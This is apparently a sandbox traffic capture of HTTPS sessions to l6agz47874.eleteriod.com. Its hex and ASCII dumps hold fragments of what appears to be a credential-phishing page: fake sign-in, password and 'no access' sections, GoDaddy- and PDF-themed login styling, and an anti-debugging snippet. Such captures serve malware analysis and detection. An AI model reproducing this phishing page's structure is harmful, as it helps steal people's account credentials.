XSRF-TOKEN=eyJpdiI6ImdPK1EvN3Fjc1FsaVQ1ZjFjYWVDdlE9PSIsInZhbHVlIjoiejBGZC8rbktjV1pWTkhteVlCbGNVQVl0eTBUbHE3eW5EWEN1L2ZETkRTdmRVNDlaTEVWQ3RHOHM4UjdNc1lWc2s3QUYyN3h0TDI1dlZQVVBNcHVaZEhWRmdvWnExTFVOblhIMCtoWmRtSXM1RG5tazdHSlhHbkczV0svSzhzYnEiLCJtYWMiOiI3NmU2MmJiZmViZmZiOWRlMGZmNWVmNmU5N2Q5NTcwZWFiNjM0MTA4MjU0ODBlMWMxMWQyOWI3OTBjYzQ5ZjEwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijk2emZOMzZRdGlQcm80eXRIODlvK1E9PSIsInZhbHVlIjoiQlZadi9FRTZ6bkg4QlVqcUcrTENRYndvNlNVTmU2dEZjZ1prU3dWT0phclVNVHZsKzJhZ0RjV1pZMy9rNSsvdXg2WW9STmFQTnI1QWQwa3Q5TUJPenEzaS8rQWlwZnQxZFVKNTlmS3k3RWdhTC91V1BCMk0yWHNoVHk3N1ZrVXkiLCJtYWMiOiJlMTMyNjVlODAxNzFlNGNhYWFkMzllZGJmZjAzYTZkZDdkZjFjZDE2NDY1OTFjMjBlMTAyZmYzNjRiMDJmZTg3IiwidGFnIjoiIn0%3D
2024-05-22 18:02:05 UTC	1021	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9tnaeMc%2FEBdSLWs0QDXc9Jhj4j9hBX5vr%2B2GUJjHJxjvSPowBtcV4Vy%2F0bbSUrCNWf%2BLszfkIOwH0Lx9t%2FkS7%2BuPd1vTou%2Fhlgb5hVoBEwHlwYr%2FE%2BnTEI%2ByflG%2FKw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; expires=Wed, 22-May-2024 20:02:05 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-05-22 18:02:05 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 49 76 59 30 64 4b 51 54 56 6b 53 7a 46 58 59 30 4a 68 56 6b 5a 76 57 45 63 32 53 47 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 55 45 5a 44 55 44 4e 4b 54 6c 46 78 64 6e 4e 50 4f 45 5a 68 54 44 4e 32 64 6e 70 47 62 6e 46 68 53 58 6c 4e 52 32 73 31 64 45 39 4f 4d 32 31 46 4d 47 59 33 4d 6e 6c 48 55 54 64 4f 4f 46 4e 74 4d 57 5a 74 65 6b 31 78 57 55 46 6d 62 55 4a 71 4f 57 39 46 4d 6c 70 70 5a 7a 6c 53 65 55 5a 7a 55 6a 4e 48 53 33 6c 6a 4e 55 77 79 54 47 56 30 62 6b 59 76 4e 58 52 73 63 56 59 35 4f 55 39 68 5a 30 6f 32 55 30 4d 78 53 47 5a 73 52 6a 42 5a 61 48 68 30 61 58 59 35 4e 46 41 78 54 48 4e 30 57 6a 5a 4c 59 58 4e 54 54 6b 73 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTks
2024-05-22 18:02:05 UTC	1369	IN	Data Raw: 36 35 63 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 64 65 2e 6a 71 75 65 72 79 2e 63 6f 6d 2f 6a 71 75 65 72 79 2d 33 2e 36 2e 30 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 73 6f 63 6b 65 74 2e 69 6f 2f 34 2e 36 2e 30 2f 73 6f 63 6b 65 74 2e 69 6f 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 61 70 69 2e 6a 73 22 3e 3c Data Ascii: 65cb<!DOCTYPE html><html lang="en"><head> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <script src="https://cdn.socket.io/4.6.0/socket.io.min.js"></script> <script src="https://www.google.com/recaptcha/api.js"><
2024-05-22 18:02:05 UTC	1369	IN	Data Raw: 71 65 6f 48 44 4f 48 4e 59 64 69 4a 74 79 50 6b 6c 6f 56 65 4b 51 5a 32 76 6f 59 7a 43 46 53 67 6a 4b 49 6b 6e 32 6f 53 6d 43 73 75 76 32 31 36 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 2c 6e 6f 2d 72 65 70 65 61 74 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 63 65 6e 74 65 72 20 63 65 6e 74 65 72 2c 63 65 6e 74 65 72 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 76 65 72 2c 63 6f 76 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 62 31 62 31 62 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 Data Ascii: qeoHDOHNYdiJtyPkloVeKQZ2voYzCFSgjKIkn2oSmCsuv216'); background-repeat: no-repeat,no-repeat; background-position: center center,center center; background-size: cover,cover; color: #1b1b1b; }
2024-05-22 18:02:05 UTC	1369	IN	Data Raw: 62 75 67 67 65 72 27 29 3b 0d 0a 20 20 20 20 2f 2f 20 63 6f 6e 73 74 20 74 31 20 3d 20 44 61 74 65 2e 6e 6f 77 28 29 3b 0d 0a 20 20 20 20 2f 2f 20 7d 2c 20 31 30 30 30 29 3b 0d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 73 74 61 72 74 6e 65 77 22 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 73 65 63 74 69 6f 6e 73 22 20 63 6c 61 73 73 3d 22 22 3e 0d 0a 20 20 20 20 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 73 65 63 74 69 6f 6e 5f 74 72 79 69 6e 67 74 6f 73 69 67 6e 69 6e 22 20 73 74 79 6c 65 3d 22 61 6e 69 6d 61 74 69 6f 6e 3a 73 68 6f 77 2d 66 72 6f 6d 2d 72 69 67 68 74 20 30 2e 35 73 3b 22 20 63 6c 61 73 73 3d 22 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 75 Data Ascii: bugger'); // const t1 = Date.now(); // }, 1000); </script></head><body class="startnew"><div id="sections" class=""> <section id="section_tryingtosignin" style="animation:show-from-right 0.5s;" class=""> <div class="au
2024-05-22 18:02:05 UTC	1369	IN	Data Raw: 22 3e 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 6f 74 2d 66 6c 6f 61 74 69 6e 67 22 3e 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 6f 74 2d 66 6c 6f 61 74 69 6e 67 22 3e 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 65 63 74 69 6f 6e 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 69 72 73 74 6c 6f 67 6f 22 3e 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 62 61 63 6b 22 20 6f 6e 63 6c 69 63 6b Data Ascii: "></div> <div class="dot-floating"></div> <div class="dot-floating"></div> </div> <div class="sectioncontent"> <div class="firstlogo"></div> <button class="back" onclick
2024-05-22 18:02:05 UTC	1369	IN	Data Raw: 34 35 31 34 30 22 20 77 69 64 74 68 3d 22 33 30 70 78 22 20 2f 3e 3c 2f 73 70 61 6e 3e 20 53 69 67 6e 2d 69 6e 20 6f 70 74 69 6f 6e 73 3c 2f 70 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 0d 0a 20 20 20 20 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 73 65 63 74 69 6f 6e 5f 70 77 64 22 20 63 6c 61 73 73 3d 22 64 2d 6e 6f 6e 65 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 75 74 68 2d 77 72 61 70 70 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 61 64 69 6e 67 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 6f 74 2d 66 6c 6f 61 74 69 6e 67 22 3e Data Ascii: 45140" width="30px" /></span> Sign-in options</p> </div> </section> <section id="section_pwd" class="d-none"> <div class="auth-wrapper"> <div class="loading-container"> <div class="dot-floating">
2024-05-22 18:02:05 UTC	1369	IN	Data Raw: 6e 22 3e 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 62 74 6e 22 20 69 64 3d 22 62 74 6e 5f 73 69 67 22 3e 53 69 67 6e 20 69 6e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 0d 0a 20 20 20 20 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 73 65 63 74 69 6f 6e 5f 79 6f 75 64 6f 6e 74 68 61 76 65 61 63 63 65 73 73 22 20 63 6c 61 73 73 3d 22 64 2d 6e 6f 6e 65 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 75 74 68 2d 77 72 61 70 70 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 61 64 69 6e Data Ascii: n"></div> <button class="btn" id="btn_sig">Sign in</button> </div> </div> </section> <section id="section_youdonthaveaccess" class="d-none"> <div class="auth-wrapper"> <div class="loadin
2024-05-22 18:02:05 UTC	1369	IN	Data Raw: 77 69 74 63 68 55 73 65 72 22 20 6f 6e 63 6c 69 63 6b 3d 22 6c 69 6e 6b 6f 70 74 69 6f 6e 63 6c 69 63 6b 28 74 68 69 73 29 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 77 72 61 70 22 20 68 72 65 66 3d 22 23 22 3e 53 69 67 6e 20 6f 75 74 20 61 6e 64 20 73 69 67 6e 20 69 6e 20 77 69 74 68 20 61 20 64 69 66 66 65 72 65 6e 74 20 61 63 63 6f 75 6e 74 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 79 6f 75 64 6f 6e 74 68 61 76 65 61 63 63 65 73 73 62 6f 74 74 6f 6d 6f 70 74 69 6f 6e 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 64 61 74 61 2d 69 64 3d 22 4d 6f 72 65 44 65 74 61 69 6c 73 22 20 6f 6e 63 6c 69 63 6b 3d 22 6c 69 6e 6b 6f 70 74 69 6f 6e 63 6c 69 Data Ascii: witchUser" onclick="linkoptionclick(this)" class="no-wrap" href="#">Sign out and sign in with a different account</a> </div> <div class="youdonthaveaccessbottomoption"> <a data-id="MoreDetails" onclick="linkoptioncli
2024-05-22 18:02:05 UTC	1369	IN	Data Raw: 6c 61 73 73 3d 22 6c 69 6e 6b 20 6d 62 2d 31 36 22 3e 54 72 79 20 41 67 61 69 6e 2e 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 22 77 69 74 68 6f 75 74 69 6e 74 65 72 6e 65 74 22 20 63 6c 61 73 73 3d 22 72 6f 77 20 74 65 78 74 2d 62 6f 64 79 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 30 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 74 20 73 65 65 6d 73 20 79 6f 75 72 20 69 6e 74 65 72 6e 65 74 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 69 73 20 75 6e 73 74 61 62 6c 65 20 61 6e 64 20 6e 6f 74 69 63 65 64 20 79 6f 75 27 72 65 20 68 61 76 69 6e 67 20 73 6f 6d 65 20 74 72 6f 75 62 6c 65 2e 20 3c 62 Data Ascii: lass="link mb-16">Try Again.</a> </div> <div id="withoutinternet" class="row text-body" style="display:none;margin-bottom: 0;"> it seems your internet connection is unstable and noticed you're having some trouble. <b
2024-05-22 18:02:05 UTC	1369	IN	Data Raw: 20 63 6c 61 73 73 3d 22 75 73 65 72 5f 69 64 65 6e 74 69 74 79 22 3e 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 22 20 63 6c 61 73 73 3d 22 5f 5f 63 66 5f 65 6d 61 69 6c 5f 5f 22 20 64 61 74 61 2d 63 66 65 6d 61 69 6c 3d 22 33 32 35 33 37 32 35 30 31 63 35 31 35 64 35 66 22 3e 5b 65 6d 61 69 6c 26 23 31 36 30 3b 70 72 6f 74 65 63 74 65 64 5d 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 63 6c 61 73 73 3d 22 74 69 74 6c 65 20 6d 62 2d 31 36 22 3e 4c 65 74 e2 80 99 73 20 74 72 79 20 73 6f 6d 65 74 68 69 6e 67 20 65 6c 73 65 3c 2f 68 32 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 Data Ascii: class="user_identity"><a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="325372501c515d5f">[email protected]</a></span> </div> <h2 class="title mb-16">Lets try something else</h2> <div

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.17	59890	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:05 UTC	1376	OUT	GET /12HIw9eOWu0absr2Ad26720 HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
2024-05-22 18:02:08 UTC	643	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:08 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="12HIw9eOWu0absr2Ad26720" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FSeCSSFeHSWsPclXL4fBD1REcDYp%2B3MtCPKeDt2V93iV0F%2B4ydnr%2BsWTKTgvMuWJ3vGXsNFW%2BTS3rbgYMZGCxK%2Bh%2BJv7gHPhM6eYv0G%2FWLHoKQfFezNLDsQseH6Chw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb71bfd5a4366-EWR
2024-05-22 18:02:08 UTC	726	IN	Data Raw: 33 36 31 30 0d 0a 2a 2c 69 6e 70 75 74 5b 74 79 70 65 3d 72 61 64 69 6f 5d 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 61 6c 65 72 74 2c 2e 72 61 64 69 6f 20 6c 61 62 65 6c 2c 2e 72 6f 77 2e 74 69 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 23 73 65 63 74 69 6f 6e 73 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 2c 2e 74 61 62 6c 65 20 2e 74 61 62 6c 65 2d 63 65 6c 6c 2c 69 6d 67 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 61 67 65 4e 61 6d 65 2c 2e 72 6f 77 2e 74 69 6c 65 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 61 63 74 69 76 65 2c 2e Data Ascii: 3610*,input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_pdf .pdfheader #pageName,.row.tile,.row.tile:not(.no-pick):active,.
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 61 67 73 50 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 54 61 69 20 4c 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 59 69 20 42 61 69 74 69 22 2c 22 4d 6f 6e 67 6f 6c 69 61 6e 20 42 61 69 74 69 22 2c 22 4d 56 20 42 6f 6c 69 22 2c 22 4d 79 61 6e 6d 61 72 20 54 65 78 74 22 2c 22 43 61 6d 62 72 69 61 20 4d 61 74 68 22 7d 2e 77 65 62 73 69 74 65 73 65 63 74 69 6f 6e 73 7b 68 65 69 67 68 74 3a 31 30 30 25 3b 77 69 64 74 68 3a 31 30 30 76 77 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 68 65 69 67 68 74 3a 31 30 30 76 68 7d 23 73 65 63 74 69 6f 6e 73 5f 70 Data Ascii: agsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math"}.websitesections{height:100%;width:100vw;position:relative}#sections_godaddy,#sections_pdf{display:flex;flex-direction:column;height:100vh}#sections_p
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 69 75 73 3a 32 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 30 30 30 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 7b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 34 30 70 78 20 34 30 70 78 3b 61 6e 69 6d 61 74 69 6f 6e 3a 31 2e 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 20 6c 64 73 2d 73 70 69 6e 6e 65 72 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 66 69 72 73 74 2d 63 68 69 6c 64 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 31 2e 31 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 32 29 7b 74 Data Ascii: ius:20%;background:#000}#sections_pdf .lds-spinner div{transform-origin:40px 40px;animation:1.2s linear infinite lds-spinner}#sections_pdf .lds-spinner div:first-child{transform:rotate(0);animation-delay:-1.1s}#sections_pdf .lds-spinner div:nth-child(2){t
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 67 72 6f 75 6e 64 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 39 32 29 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 61 64 65 72 62 69 67 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 77 69 64 74 68 3a 31 30 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 35 25 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 61 6c 6c 42 6c 6f 63 6b 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 33 30 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 3b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 66 6c 65 78 2d 64 69 72 Data Ascii: ground:rgba(0,0,0,.192)}#sections_pdf .loaderbig{position:absolute;width:100px;height:100px;margin-top:15%}#sections_pdf .allBlock{position:relative;margin-top:30px;margin-left:auto;margin-right:auto;width:100%;display:flex;justify-content:center;flex-dir
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 33 31 32 35 70 63 20 35 70 78 20 30 20 30 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 6c 6f 67 69 6e 62 6f 78 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 20 30 20 33 2e 37 35 70 74 20 2e 30 35 32 30 38 33 33 33 33 69 6e 7d 23 73 65 63 74 69 6f 6e 73 20 2e 6f 70 74 73 3a 68 6f 76 65 72 2c 2e 62 61 63 6b 3a 68 6f 76 65 72 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 29 7d 23 73 65 63 74 69 6f 6e 73 Data Ascii: ign-items:center;justify-items:center;display:flex;border-radius:.3125pc 5px 0 0}#sections_pdf .login .loginbox{border-radius:0 0 3.75pt .052083333in}#sections .opts:hover,.back:hover,.row.tile:not(.no-pick):hover{background-color:rgba(0,0,0,.1)}#sections
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 7b 77 69 64 74 68 3a 33 36 30 70 78 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 3a 33 30 70 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 3e 73 70 61 6e 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 33 37 39 29 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 Data Ascii: _pdf .login .selectProvider .choseemails{width:360px;height:auto;margin:30px;display:flex}#sections_pdf .login .selectProvider .choseemails>span{color:#fff;width:100%;height:auto;margin:auto;text-align:center;background-color:rgba(0,0,0,.379);padding:15px
